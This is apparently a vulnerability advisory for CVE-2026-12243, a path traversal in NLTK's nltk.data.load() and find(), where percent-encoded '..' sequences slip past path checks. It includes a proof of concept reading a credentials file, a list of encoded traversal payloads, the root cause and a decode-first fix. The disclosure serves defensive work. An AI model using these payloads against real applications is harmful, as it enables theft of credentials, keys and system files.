CVE-2026-12243

Summary

nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.

Vulnerable Code

nltk/data.py - find() function: url2pathname() decodes %2e%2e -> .. AFTER any safety check p = os.path.join(path_, url2pathname(resource_name)) if os.path.exists(p): return FileSystemPathPointer(p)

Proof of Concept

import nltk.data nltk.data.path = ["/home/user/nltk_data"] %2e%2e decodes to .. via url2pathname(), escaping the data dir data = nltk.data.load("%2e%2e/SECRET_credentials.txt", format="raw") print(data) b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n' All of these bypass path checks and decode identically:

Payload After url2pathname()

%2e%2e/secret ../secret .%2e/secret ../secret %2e./secret ../secret %2E%2E/secret ../secret Root Cause url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.

Fix

Decode before checking:

from urllib.parse import unquote resource_name = unquote(resource_name) # decode first, then validate

Impact

An attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().